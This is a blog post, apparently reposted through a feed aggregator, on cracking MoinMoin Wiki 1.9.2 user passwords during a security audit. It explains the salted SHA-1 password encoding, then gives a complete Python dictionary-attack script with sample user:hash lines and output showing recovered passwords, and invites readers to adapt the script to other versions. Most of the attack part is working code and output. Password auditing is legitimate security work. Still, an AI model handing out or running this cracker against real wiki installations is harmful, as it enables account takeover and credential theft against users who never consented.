Quantcast
Channel: TECHORGANIC
Viewing all articles
Browse latest Browse all 38

Cracking MoinMoin Wiki passwords

$
0
0
Access Denied


I wanted to audit the security of a server running the MoinMoin Wiki Engine version 1.9.2 and needed to see if I could crack the passwords on the site. Each user's information is stored in a file located in the site's data/user directory, for example: 1308083750.39.64129. This is a plaintext file which contains key-value pairs. There are two keys that we're interested in: enc_password and name

name as you may have guessed, is the name of the user account. enc_password is the encrypted password, and looks something like this:
{SSHA}f5m3h686GtiwemkvPeRIMs1Kx6yWSx89iBrSvpxSFWAS9qB1kIWXzQ==

If we want to crack this password, we first need to know how it's encrypted. This information can be found in the encodePassword function in the user.py file:

def encodePassword(pwd, salt=None):
""" Encode a cleartext password

@param pwd: the cleartext password, (unicode)
@param salt: the salt for the password (string)
@rtype: string
@return: the password in apache htpasswd compatible SHA-encoding,
or None
"""
pwd = pwd.encode('utf-8')

if salt is None:
salt = random_string(20)
assert isinstance(salt, str)
hash = hash_new('sha1', pwd)
hash.update(salt)

return '{SSHA}' + base64.encodestring(hash.digest() + salt).rstrip()

Here's what the function does:
  1. Create a random salt of 20 characters
  2. Hash the password using SHA-1
  3. Update the hash with the salt
  4. Encode the hashed password and the salt with Base64
The result is assigned as the value to the enc_password key. Now that we know how to the password is encrypted, we can write a script that will perform a dictionary attack against the encrypted password:

#!/usr/bin/env python -Wignore::DeprecationWarning
import sha, base64, traceback, sys

if len(sys.argv) < 3:
print "usage: %s [user_password_list] [wordlist]" % (sys.argv[0])
sys.exit(0)

try:
for line in open(sys.argv[1], "r"):
a = line.strip().split(":")
user = a[0]
password = a[1]

print "trying to crack password for", user
for guess in open(sys.argv[2], "r"):
guess = guess.strip()

# extract the salt from the hash.
# the salt is the last 20 chars
salt = base64.decodestring(password)[-20:]

# encrypt our password with the salt
hash = sha.new(guess)
hash.update(salt)
our_hash = base64.encodestring(hash.digest() + salt).rstrip()
if our_hash == password:
print " * password for %s: %s" % (user.strip(), guess)
break
except Exception, e:
traceback.print_tb(None)
The script takes two arguments. The first is a colon delimited username and password. This can be created with a bit of command-line-fu from the data/user directory. It should look like this:
JohneDoe:/Ua/4WcsyRkxE9oeebb5XKkYy0yb7Ii/n3NHfzEhZOK88RC9rR58EQ==
LucyWilliams:9J/BpH4pNWYYu+y4dC5NF6xSdhEBtVQ7Z4DOO0cM0MuaAMvfplikUA==
KarlWalters:NlQO/svt1+wEhBdiHK9Ep6WzbGPahlICUvYgt32K4OvzvJeDYyPuTQ==
The second argument is a wordlist. Google dictionary.txt and you should find something to get you started. Once you have both files ready, pass them both to the script and you'll be notified if the passwords are found in the wordlist:
$ ./moincrack.py users.txt passwords.txt 
trying to crack password for JohnDoe
* password for JohnDoe: lion9
trying to crack password for LucyWilliams
* password for LucyWilliams: chickensoup
trying to crack password for KarlWalters

Older or newer versions of MoinMoin might encrypt the passwords differently, but you should be able to modify the script accordingly to suit your needs.

Viewing all articles
Browse latest Browse all 38

Trending Articles